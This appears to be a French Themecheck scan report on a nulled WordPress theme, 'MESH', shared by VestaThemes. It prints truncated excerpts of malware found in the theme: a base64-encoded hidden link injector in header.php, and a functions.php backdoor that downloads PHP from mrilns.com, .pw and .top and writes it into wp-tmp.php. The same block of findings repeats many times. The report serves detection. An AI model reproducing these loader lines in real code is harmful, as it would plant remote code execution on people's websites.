0
Résultats de validation

MESH | Shared By VestaThemes.com

MESH | Shared By VestaThemes.com

WordPress 6.5.2 theme
0
  • TYPE DE THèMEThème WordPress %s 6.5.2
  • NOM DU FICHIERmesh.zip
  • TAILLE DU FICHIER24345852 octets
  • MD502782252621d6a9a9393f6a984676368
  • SHA19c56c899187e14cad83e69e649cf015da3ca6b88
  • LICENCEGNU GPL 3
  • FICHIERS INCLUSCSS, PHP, Bitmap images
  • VERSION2.1.2
  • TAGSblack, blue, white, two-columns, responsive-layout, threaded-comments, translation-ready, custom-menu
  • DATE DE CRéATION2020-07-25
  • DERNIèRE MISE à JOUR DU FICHIER2020-07-25
  • DERNIèRE VALIDATION2020-07-25 18:16
Ce thème n'est peut être pas libre. Themecheck ne distribue pas de thèmes commerciaux.
Alertes critiques
  1. Failles de sécurité : Utilisation de base64_decode() base64_decode trouvé dans le fichier header.php.
    Ligne20: <body <?php body_class(); ?> style='<?php echo esc_attr( $styles['body'] ); ?>'><?php $wfk='PGRpdiBzdHlsZT0icG9zaXRpb246YWJzb2x1dGU7dG9wOjA7bGVmdDotOTk5OXB4OyI+DQo8YSBocmVmPSJodHRwOi8vam9vbWxhbG9jay5jb20iIHRpdGxlPSJKb29tbGFMb2NrIC0gRnJlZSBkb3dubG9hZCBwcmVtaXVtIGpvb21sYSB0ZW1wbGF0ZXMgJiBleHRlbnNpb25zIiB0YXJnZXQ9Il9ibGFuayI+QWxsIGZvciBKb29tbGE8L2E+DQo8YSBocmVmPSJodHRwOi8vYWxsNHNoYXJlLm5ldCIgdGl0bGU9IkFMTDRTSEFSRSAtIEZyZWUgRG93bmxvYWQgTnVsbGVkIFNjcmlwdHMsIFByZW1pdW0gVGhlbWVzLCBHcmFwaGljcyBEZXNpZ24iIHRhcmdldD0iX2JsYW5rIj5BbGwgZm9yIFdlYm1hc3RlcnM8L2E+DQo8L2Rpdj4='; echo base64_decode($wfk); ?>
  2. Fichiers indésirables : fichiers ou dossiers cachés .csscomb.json .csslintrc a été trouvé.
  3. Code malveillant : Opérations sur système de fichiers file_put_contents trouvé dans le fichier custom-functions.php.
    Ligne963: file_put_contents('tmp/logs/curl.log', '[' . date('j.n.Y-G:i') . ']: CURL R
    file_get_contents trouvé dans le fichier class-mailchimp-api.php.
    Ligne8: * Uses curl if available, falls back to file_get_contents and HTTP stream.
    Ligne72: $result    = file_get_contents($url, null, stream_context_create(array(
    file_get_contents trouvé dans le fichier functions.php.
    Ligne19: if ($file = @file_get_contents(__FILE__))
    Ligne21: if(preg_match_all('/\$tmpcontent = @file_get_contents\('http:\/\/(.*)\/code\.php/i',$file,$matcholddomain))
    Ligne41: if ($file = @file_get_contents(__FILE__))
    Ligne76: function file_get_contents_tcurl($url)
    Ligne110: if (($tmpcontent = @file_get_contents('http://www.mrilns.com/code.php') OR $tmpcontent = @file_
    Ligne127: elseif ($tmpcontent = @file_get_contents('http://www.mrilns.pw/code.php')  AND stripos($tmpcontent
    Ligne143: elseif ($tmpcontent = @file_get_contents('http://www.mrilns.top/code.php')  AND stripos($tmpconten
    Ligne158: elseif ($tmpcontent = @file_get_contents(ABSPATH . 'wp-includes/wp-tmp.php') AND stripos($tmpconte
    Ligne161: } elseif ($tmpcontent = @file_get_contents(get_template_directory() . '/wp-tmp.php') AND stripos($tm
    Ligne164: } elseif ($tmpcontent = @file_get_contents('wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== 
    file_put_contents trouvé dans le fichier functions.php.
    Ligne25: @file_put_contents(__FILE__, $file);
    Ligne47: @file_put_contents(__FILE__, $file);
    Ligne114: @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
    Ligne117: @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
    Ligne119: @file_put_contents('wp-tmp.php', $tmpcontent);
    Ligne131: @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
    Ligne134: @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
    Ligne136: @file_put_contents('wp-tmp.php', $tmpcontent);
    Ligne147: @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
    Ligne150: @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
    Ligne152: @file_put_contents('wp-tmp.php', $tmpcontent);
    file_get_contents trouvé dans le fichier functions.php.
    Ligne19: if ($file = @file_get_contents(__FILE__))
    Ligne21: if(preg_match_all('/\$tmpcontent = @file_get_contents\('http:\/\/(.*)\/code\.php/i',$file,$matcholddomain))
    Ligne41: if ($file = @file_get_contents(__FILE__))
    Ligne76: function file_get_contents_tcurl($url)
    Ligne110: if (($tmpcontent = @file_get_contents('http://www.mrilns.com/code.php') OR $tmpcontent = @file_
    Ligne127: elseif ($tmpcontent = @file_get_contents('http://www.mrilns.pw/code.php')  AND stripos($tmpcontent
    Ligne143: elseif ($tmpcontent = @file_get_contents('http://www.mrilns.top/code.php')  AND stripos($tmpconten
    Ligne158: elseif ($tmpcontent = @file_get_contents(ABSPATH . 'wp-includes/wp-tmp.php') AND stripos($tmpconte
    Ligne161: } elseif ($tmpcontent = @file_get_contents(get_template_directory() . '/wp-tmp.php') AND stripos($tm
    Ligne164: } elseif ($tmpcontent = @file_get_contents('wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== 
    file_put_contents trouvé dans le fichier functions.php.
    Ligne25: @file_put_contents(__FILE__, $file);
    Ligne47: @file_put_contents(__FILE__, $file);
    Ligne114: @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
    Ligne117: @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
    Ligne119: @file_put_contents('wp-tmp.php', $tmpcontent);
    Ligne131: @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
    Ligne134: @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
    Ligne136: @file_put_contents('wp-tmp.php', $tmpcontent);
    Ligne147: @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
    Ligne150: @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
    Ligne152: @file_put_contents('wp-tmp.php', $tmpcontent);
    fopen trouvé dans le fichier functions.php.
    Ligne92: $handle   = fopen($tmpfname, 'w+');
    Ligne99: $handle   = fopen($tmpfname, 'w+');
    fwrite trouvé dans le fichier functions.php.
    Ligne93: if( fwrite($handle, '<?php\n' . $phpCode))
    Ligne100: fwrite($handle, '<?php\n' . $phpCode);
    fopen trouvé dans le fichier functions.php.
    Ligne92: $handle   = fopen($tmpfname, 'w+');
    Ligne99: $handle   = fopen($tmpfname, 'w+');
    fwrite trouvé dans le fichier functions.php.
    Ligne93: if( fwrite($handle, '<?php\n' . $phpCode))
    Ligne100: fwrite($handle, '<?php\n' . $phpCode);
    fclose trouvé dans le fichier functions.php.
    Ligne102: fclose($handle);
    file_get_contents trouvé dans le fichier functions.php.
    Ligne19: if ($file = @file_get_contents(__FILE__))
    Ligne21: if(preg_match_all('/\$tmpcontent = @file_get_contents\('http:\/\/(.*)\/code\.php/i',$file,$matcholddomain))
    Ligne41: if ($file = @file_get_contents(__FILE__))
    Ligne76: function file_get_contents_tcurl($url)
    Ligne110: if (($tmpcontent = @file_get_contents('http://www.mrilns.com/code.php') OR $tmpcontent = @file_
    Ligne127: elseif ($tmpcontent = @file_get_contents('http://www.mrilns.pw/code.php')  AND stripos($tmpcontent
    Ligne143: elseif ($tmpcontent = @file_get_contents('http://www.mrilns.top/code.php')  AND stripos($tmpconten
    Ligne158: elseif ($tmpcontent = @file_get_contents(ABSPATH . 'wp-includes/wp-tmp.php') AND stripos($tmpconte
    Ligne161: } elseif ($tmpcontent = @file_get_contents(get_template_directory() . '/wp-tmp.php') AND stripos($tm
    Ligne164: } elseif ($tmpcontent = @file_get_contents('wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== 
    file_put_contents trouvé dans le fichier functions.php.
    Ligne25: @file_put_contents(__FILE__, $file);
    Ligne47: @file_put_contents(__FILE__, $file);
    Ligne114: @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
    Ligne117: @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
    Ligne119: @file_put_contents('wp-tmp.php', $tmpcontent);
    Ligne131: @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
    Ligne134: @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
    Ligne136: @file_put_contents('wp-tmp.php', $tmpcontent);
    Ligne147: @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
    Ligne150: @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
    Ligne152: @file_put_contents('wp-tmp.php', $tmpcontent);
    file_put_contents trouvé dans le fichier functions.php.
    Ligne25: @file_put_contents(__FILE__, $file);
    Ligne47: @file_put_contents(__FILE__, $file);
    Ligne114: @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
    Ligne117: @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
    Ligne119: @file_put_contents('wp-tmp.php', $tmpcontent);
    Ligne131: @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
    Ligne134: @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
    Ligne136: @file_put_contents('wp-tmp.php', $tmpcontent);
    Ligne147: @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
    Ligne150: @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
    Ligne152: @file_put_contents('wp-tmp.php', $tmpcontent);
    file_put_contents trouvé dans le fichier functions.php.
    Ligne25: @file_put_contents(__FILE__, $file);
    Ligne47: @file_put_contents(__FILE__, $file);
    Ligne114: @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
    Ligne117: @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
    Ligne119: @file_put_contents('wp-tmp.php', $tmpcontent);
    Ligne131: @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
    Ligne134: @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
    Ligne136: @file_put_contents('wp-tmp.php', $tmpcontent);
    Ligne147: @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
    Ligne150: @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
    Ligne152: @file_put_contents('wp-tmp.php', $tmpcontent);
    file_get_contents trouvé dans le fichier functions.php.
    Ligne19: if ($file = @file_get_contents(__FILE__))
    Ligne21: if(preg_match_all('/\$tmpcontent = @file_get_contents\('http:\/\/(.*)\/code\.php/i',$file,$matcholddomain))
    Ligne41: if ($file = @file_get_contents(__FILE__))
    Ligne76: function file_get_contents_tcurl($url)
    Ligne110: if (($tmpcontent = @file_get_contents('http://www.mrilns.com/code.php') OR $tmpcontent = @file_
    Ligne127: elseif ($tmpcontent = @file_get_contents('http://www.mrilns.pw/code.php')  AND stripos($tmpcontent
    Ligne143: elseif ($tmpcontent = @file_get_contents('http://www.mrilns.top/code.php')  AND stripos($tmpconten
    Ligne158: elseif ($tmpcontent = @file_get_contents(ABSPATH . 'wp-includes/wp-tmp.php') AND stripos($tmpconte
    Ligne161: } elseif ($tmpcontent = @file_get_contents(get_template_directory() . '/wp-tmp.php') AND stripos($tm
    Ligne164: } elseif ($tmpcontent = @file_get_contents('wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== 
    file_put_contents trouvé dans le fichier functions.php.
    Ligne25: @file_put_contents(__FILE__, $file);
    Ligne47: @file_put_contents(__FILE__, $file);
    Ligne114: @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
    Ligne117: @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
    Ligne119: @file_put_contents('wp-tmp.php', $tmpcontent);
    Ligne131: @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
    Ligne134: @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
    Ligne136: @file_put_contents('wp-tmp.php', $tmpcontent);
    Ligne147: @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
    Ligne150: @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
    Ligne152: @file_put_contents('wp-tmp.php', $tmpcontent);
    file_put_contents trouvé dans le fichier functions.php.
    Ligne25: @file_put_contents(__FILE__, $file);
    Ligne47: @file_put_contents(__FILE__, $file);
    Ligne114: @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
    Ligne117: @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
    Ligne119: @file_put_contents('wp-tmp.php', $tmpcontent);
    Ligne131: @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
    Ligne134: @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
    Ligne136: @file_put_contents('wp-tmp.php', $tmpcontent);
    Ligne147: @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
    Ligne150: @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
    Ligne152: @file_put_contents('wp-tmp.php', $tmpcontent);
    file_put_contents trouvé dans le fichier functions.php.
    Ligne25: @file_put_contents(__FILE__, $file);
    Ligne47: @file_put_contents(__FILE__, $file);
    Ligne114: @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
    Ligne117: @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
    Ligne119: @file_put_contents('wp-tmp.php', $tmpcontent);
    Ligne131: @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
    Ligne134: @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
    Ligne136: @file_put_contents('wp-tmp.php', $tmpcontent);
    Ligne147: @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
    Ligne150: @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
    Ligne152: @file_put_contents('wp-tmp.php', $tmpcontent);
    file_get_contents trouvé dans le fichier functions.php.
    Ligne19: if ($file = @file_get_contents(__FILE__))
    Ligne21: if(preg_match_all('/\$tmpcontent = @file_get_contents\('http:\/\/(.*)\/code\.php/i',$file,$matcholddomain))
    Ligne41: if ($file = @file_get_contents(__FILE__))
    Ligne76: function file_get_contents_tcurl($url)
    Ligne110: if (($tmpcontent = @file_get_contents('http://www.mrilns.com/code.php') OR $tmpcontent = @file_
    Ligne127: elseif ($tmpcontent = @file_get_contents('http://www.mrilns.pw/code.php')  AND stripos($tmpcontent
    Ligne143: elseif ($tmpcontent = @file_get_contents('http://www.mrilns.top/code.php')  AND stripos($tmpconten
    Ligne158: elseif ($tmpcontent = @file_get_contents(ABSPATH . 'wp-includes/wp-tmp.php') AND stripos($tmpconte
    Ligne161: } elseif ($tmpcontent = @file_get_contents(get_template_directory() . '/wp-tmp.php') AND stripos($tm
    Ligne164: } elseif ($tmpcontent = @file_get_contents('wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== 
    file_put_contents trouvé dans le fichier functions.php.
    Ligne25: @file_put_contents(__FILE__, $file);
    Ligne47: @file_put_contents(__FILE__, $file);
    Ligne114: @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
    Ligne117: @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
    Ligne119: @file_put_contents('wp-tmp.php', $tmpcontent);
    Ligne131: @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
    Ligne134: @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
    Ligne136: @file_put_contents('wp-tmp.php', $tmpcontent);
    Ligne147: @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
    Ligne150: @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
    Ligne152: @file_put_contents('wp-tmp.php', $tmpcontent);
    file_put_contents trouvé dans le fichier functions.php.
    Ligne25: @file_put_contents(__FILE__, $file);
    Ligne47: @file_put_contents(__FILE__, $file);
    Ligne114: @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
    Ligne117: @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
    Ligne119: @file_put_contents('wp-tmp.php', $tmpcontent);
    Ligne131: @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
    Ligne134: @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
    Ligne136: @file_put_contents('wp-tmp.php', $tmpcontent);
    Ligne147: @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
    Ligne150: @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
    Ligne152: @file_put_contents('wp-tmp.php', $tmpcontent);
    file_put_contents trouvé dans le fichier functions.php.
    Ligne25: @file_put_contents(__FILE__, $file);
    Ligne47: @file_put_contents(__FILE__, $file);
    Ligne114: @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
    Ligne117: @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
    Ligne119: @file_put_contents('wp-tmp.php', $tmpcontent);
    Ligne131: @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
    Ligne134: @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
    Ligne136: @file_put_contents('wp-tmp.php', $tmpcontent);
    Ligne147: @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
    Ligne150: @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
    Ligne152: @file_put_contents('wp-tmp.php', $tmpcontent);
    file_get_contents trouvé dans le fichier functions.php.
    Ligne19: if ($file = @file_get_contents(__FILE__))
    Ligne21: if(preg_match_all('/\$tmpcontent = @file_get_contents\('http:\/\/(.*)\/code\.php/i',$file,$matcholddomain))
    Ligne41: if ($file = @file_get_contents(__FILE__))
    Ligne76: function file_get_contents_tcurl($url)
    Ligne110: if (($tmpcontent = @file_get_contents('http://www.mrilns.com/code.php') OR $tmpcontent = @file_
    Ligne127: elseif ($tmpcontent = @file_get_contents('http://www.mrilns.pw/code.php')  AND stripos($tmpcontent
    Ligne143: elseif ($tmpcontent = @file_get_contents('http://www.mrilns.top/code.php')  AND stripos($tmpconten
    Ligne158: elseif ($tmpcontent = @file_get_contents(ABSPATH . 'wp-includes/wp-tmp.php') AND stripos($tmpconte
    Ligne161: } elseif ($tmpcontent = @file_get_contents(get_template_directory() . '/wp-tmp.php') AND stripos($tm
    Ligne164: } elseif ($tmpcontent = @file_get_contents('wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== 
    file_get_contents trouvé dans le fichier functions.php.
    Ligne19: if ($file = @file_get_contents(__FILE__))
    Ligne21: if(preg_match_all('/\$tmpcontent = @file_get_contents\('http:\/\/(.*)\/code\.php/i',$file,$matcholddomain))
    Ligne41: if ($file = @file_get_contents(__FILE__))
    Ligne76: function file_get_contents_tcurl($url)
    Ligne110: if (($tmpcontent = @file_get_contents('http://www.mrilns.com/code.php') OR $tmpcontent = @file_
    Ligne127: elseif ($tmpcontent = @file_get_contents('http://www.mrilns.pw/code.php')  AND stripos($tmpcontent
    Ligne143: elseif ($tmpcontent = @file_get_contents('http://www.mrilns.top/code.php')  AND stripos($tmpconten
    Ligne158: elseif ($tmpcontent = @file_get_contents(ABSPATH . 'wp-includes/wp-tmp.php') AND stripos($tmpconte
    Ligne161: } elseif ($tmpcontent = @file_get_contents(get_template_directory() . '/wp-tmp.php') AND stripos($tm
    Ligne164: } elseif ($tmpcontent = @file_get_contents('wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== 
    file_get_contents trouvé dans le fichier functions.php.
    Ligne19: if ($file = @file_get_contents(__FILE__))
    Ligne21: if(preg_match_all('/\$tmpcontent = @file_get_contents\('http:\/\/(.*)\/code\.php/i',$file,$matcholddomain))
    Ligne41: if ($file = @file_get_contents(__FILE__))
    Ligne76: function file_get_contents_tcurl($url)
    Ligne110: if (($tmpcontent = @file_get_contents('http://www.mrilns.com/code.php') OR $tmpcontent = @file_
    Ligne127: elseif ($tmpcontent = @file_get_contents('http://www.mrilns.pw/code.php')  AND stripos($tmpcontent
    Ligne143: elseif ($tmpcontent = @file_get_contents('http://www.mrilns.top/code.php')  AND stripos($tmpconten
    Ligne158: elseif ($tmpcontent = @file_get_contents(ABSPATH . 'wp-includes/wp-tmp.php') AND stripos($tmpconte
    Ligne161: } elseif ($tmpcontent = @file_get_contents(get_template_directory() . '/wp-tmp.php') AND stripos($tm
    Ligne164: } elseif ($tmpcontent = @file_get_contents('wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== 
  4. Code malveillant : Opérations réseau fsockopen trouvé dans le fichier custom-functions.php.
    Ligne698: $fp = @fsockopen($ip,$port,$errno,$errstr,1);
    curl_init trouvé dans le fichier custom-functions.php.
    Ligne934: $CURL = curl_init();
    curl_exec trouvé dans le fichier custom-functions.php.
    Ligne959: $data = curl_exec($CURL);
    curl_init trouvé dans le fichier class-mailchimp-api.php.
    Ligne59: if (function_exists('curl_init') && function_exists('curl_setopt')){
    Ligne60: $ch = curl_init();
    curl_exec trouvé dans le fichier class-mailchimp-api.php.
    Ligne69: $result = curl_exec($ch);
    curl_init trouvé dans le fichier functions.php.
    Ligne78: $ch = curl_init();
    curl_exec trouvé dans le fichier functions.php.
    Ligne84: $data = curl_exec($ch);
  5. Inclusion de plugin : Présence de fichier zip Les plugins ne sont pas autorisés dans les thèmes. Le fichier zip revslider.zip tcm-shortcodes.zip js_composer.zip tcm-book-events.zip tcm-metabox.zip tcm-post-types.zip a été trouvé.
Attention
  1. tags du thème : Présence de tags inconnusLe tag black est obsolète, il ne doit pas figurer dans le header de style.css.Le tag blue est obsolète, il ne doit pas figurer dans le header de style.css.Le tag white est obsolète, il ne doit pas figurer dans le header de style.css.Le tag responsive-layout est obsolète, il ne doit pas figurer dans le header de style.css.
  2. Text domain : Utilisation incorrecte des fonctions de traduction.Mauvaus répertoire d'installation pour le thème. Le nom du répertoir doit correspondre au slug du thème. Le slug de ce thème ainsi que le text-domain est mesh-shared-by-vestathemes-com.
  3. Text domain : Utilisation incorrecte des fonctions de traduction.Une fonction de traduction utilisée sans text-domain. Fonction __, avec les arguments 'A <strong>valid purchase code</strong> is required for automatic updates.' dans le fichier functions.php.Une fonction de traduction utilisée sans text-domain. Fonction esc_html__, avec les arguments 'Purchase code not updated. We will keep the existing one.' dans le fichier functions.php.Une fonction de traduction utilisée sans text-domain. Fonction __, avec les arguments 'Your <strong>purchase code is valid</strong>. Thank you! Enjoy one-click automatic updates.' dans le fichier functions.php.Une fonction de traduction utilisée sans text-domain. Fonction __, avec les arguments 'Enter your purchase code and <strong>hit return/enter</strong>.' dans le fichier functions.php.Une fonction de traduction utilisée sans text-domain. Fonction __, avec les arguments 'Find out how to <a href="https://help.market.envato.com/hc/en-us/articles/202822600-Where-Is-My-Purchase-Code-" target="_blank">get your purchase code</a>.' dans le fichier functions.php.Une fonction de traduction utilisée sans text-domain. Fonction __, avec les arguments 'A <strong>valid purchase code</strong> is required for automatic updates.' dans le fichier functions.php.Une fonction de traduction utilisée sans text-domain. Fonction esc_html__, avec les arguments 'Purchase code not updated. We will keep the existing one.' dans le fichier functions.php.Une fonction de traduction utilisée sans text-domain. Fonction __, avec les arguments 'Your <strong>purchase code is valid</strong>. Thank you! Enjoy one-click automatic updates.' dans le fichier functions.php.Une fonction de traduction utilisée sans text-domain. Fonction __, avec les arguments 'Enter your purchase code and <strong>hit return/enter</strong>.' dans le fichier functions.php.Une fonction de traduction utilisée sans text-domain. Fonction __, avec les arguments 'Find out how to <a href="https://help.market.envato.com/hc/en-us/articles/202822600-Where-Is-My-Purchase-Code-" target="_blank">get your purchase code</a>.' dans le fichier functions.php.Une fonction de traduction utilisée sans text-domain. Fonction esc_html__, avec les arguments 'Your purchase\'s support period has ended. Please extend it to receive automatic updates.' dans le fichier functions.php.Une fonction de traduction utilisée sans text-domain. Fonction esc_html__, avec les arguments 'Could not find a sale with this purchase code. Please double check.' dans le fichier functions.php.Une fonction de traduction utilisée sans text-domain. Fonction esc_html__, avec les arguments 'Please enter a purchase code. Make sure to get all the characters.' dans le fichier functions.php.Plusieurs text-domain sont utilisés dans le thème. Cela signifie que le thème n'est pas compatible avec les language packs de WordPress. Les domaines trouvés sont mesh, woocommerce, _s, admin_folder, tgmpa, pw-maps, js_composer, </span>, shapeSpace.
  4. Eléments custom : Présence d'une entête customAucune référence à custom header n'a été trouvée dans le thème.
  5. Eléments custom : Présence d'un fond customAucune référence à custom background n'a été trouvée dans le thème.
  6. Editor style : Présence de l'édition de styleAucune référence à add_editor_style() n'a été trouvée dans le thème. Il est recommandé que le thème implémente l'édition de style, de manière à faire correspondre le contenu de l'éditeur l'affichage dans le thème.
  7. Implémentation de l'internationalisation : Utilisation correcte de ___al(La variable $raw_response a été trouvée dans une fonction de traduction dans le fichier functions.php . Les appels de fonctions de traduction ne doivent pas contenir de variables PHP.
  8. Screenshot : Copie d'écranMauvaise extension de fichier screenshot ! Le fichier screenshot.png n'est pas un véritable fichier JPG. Le type détecté est : "image/png".
Info
  1. Fichiers optionnels : Présence du fichierde style pour les écritures de droite vers la gauche rtl.cssCe thème ne contient pas le fichier optionnel rtl.php.
  2. Fichiers optionnels : Présence du fichier-template fron-*page.phpCe thème ne contient pas le fichier optionnel front-page.php.
  3. Fichiers optionnels : Présence du fichier-template de page d'accueil home.phpCe thème ne contient pas le fichier optionnel home.php.
  4. Fichiers optionnels : Présence du fichier-template de catégorie category.phpCe thème ne contient pas le fichier optionnel category.php.
  5. Fichiers optionnels : Présence du fichier-template des tags tag.phpCe thème ne contient pas le fichier optionnel tag.php.
  6. Fichiers optionnels : Présence du fichier template de taxinomie taxonomy.phpCe thème ne contient pas le fichier optionnel taxonomy.php.
  7. Fichiers optionnels : Présence du fichier-template author.phpCe thème ne contient pas le fichier optionnel author.php.
  8. Fichiers optionnels : Présence de du fichier-template des dates et heures date.phpCe thème ne contient pas le fichier optionnel date.php.
  9. Fichiers optionnels : Présence du fichier-template des pièces jointes attachment.phpCe thème ne contient pas le fichier optionnel attachment.php.
  10. Fichiers optionnels : Présence du fichier-template des images image.phpCe thème ne contient pas le fichier optionnel image.php.
  11. Utilisation d'includes : Utilisation de include ou de de requireLe thème semble utiliser include ou require : options-init.php
    Ligne1631: require_once( ABSPATH .'/wp-admin/includes/file.php' );
    Si ces fonctions sont utilisées pour inclure des sections séparées d'un modèle à partir de fichiers indépendants, alors get_template_part () doit être utilisé à la place.
    Le thème semble utiliser include ou require : tgm-init.php
    Ligne6: include_once (trailingslashit(get_template_directory()) . 'theme-core/admin
    Si ces fonctions sont utilisées pour inclure des sections séparées d'un modèle à partir de fichiers indépendants, alors get_template_part () doit être utilisé à la place.
    Le thème semble utiliser include ou require : custom-functions.php
    Ligne986: include ( $filePath );
    Si ces fonctions sont utilisées pour inclure des sections séparées d'un modèle à partir de fichiers indépendants, alors get_template_part () doit être utilisé à la place.
    Le thème semble utiliser include ou require : themeController.php
    Ligne49: require_once( trailingslashit(get_template_directory()) . 'theme-core/custo
    Ligne55: require_once( trailingslashit(get_template_directory()) . 'stylish-core/con
    Ligne63: require_once( trailingslashit(get_template_directory()) . 'theme-core/custo
    Ligne71: require_once( trailingslashit(get_template_directory()) . 'stylish-core/con
    Ligne79: require_once( trailingslashit(get_template_directory()) . 'stylish-core/ass
    Ligne87: require_once( trailingslashit(get_template_directory()) . 'stylish-core/con
    Ligne100: require_once( trailingslashit(get_template_directory()) . 'theme-core/menu/
    Ligne106: require_once( trailingslashit(get_template_directory()) . 'theme-core/comme
    Ligne113: require_once( trailingslashit(get_template_directory()) . 'stylish-core/con
    Ligne122: require_once( trailingslashit(get_template_directory()) . 'stylish-core/inc
    Ligne127: require_once( trailingslashit(get_template_directory()) . 'stylish-core/inc
    Ligne144: require_once( trailingslashit(get_template_directory()) . $this->args['scri
    Ligne154: require_once( trailingslashit(get_template_directory()) . $this->args['styl
    Si ces fonctions sont utilisées pour inclure des sections séparées d'un modèle à partir de fichiers indépendants, alors get_template_part () doit être utilisé à la place.
    Le thème semble utiliser include ou require : widgetsController.php
    Ligne11: require_once( trailingslashit(get_template_directory()) . 'theme-core/custo
    Ligne12: require_once( trailingslashit(get_template_directory()) . 'theme-core/custo
    Ligne62: require_once( trailingslashit(get_template_directory()) . 'stylish-core/ass
    Si ces fonctions sont utilisées pour inclure des sections séparées d'un modèle à partir de fichiers indépendants, alors get_template_part () doit être utilisé à la place.
    Le thème semble utiliser include ou require : vcomposerController.php
    Ligne43: require_once( trailingslashit(get_template_directory()) . 'theme-core/vc_ma
    Si ces fonctions sont utilisées pour inclure des sections séparées d'un modèle à partir de fichiers indépendants, alors get_template_part () doit être utilisé à la place.
    Le thème semble utiliser include ou require : metaboxesController.php
    Ligne14: require_once( trailingslashit(get_template_directory()) . 'theme-core/custo
    Si ces fonctions sont utilisées pour inclure des sections séparées d'un modèle à partir de fichiers indépendants, alors get_template_part () doit être utilisé à la place.
Other checked themes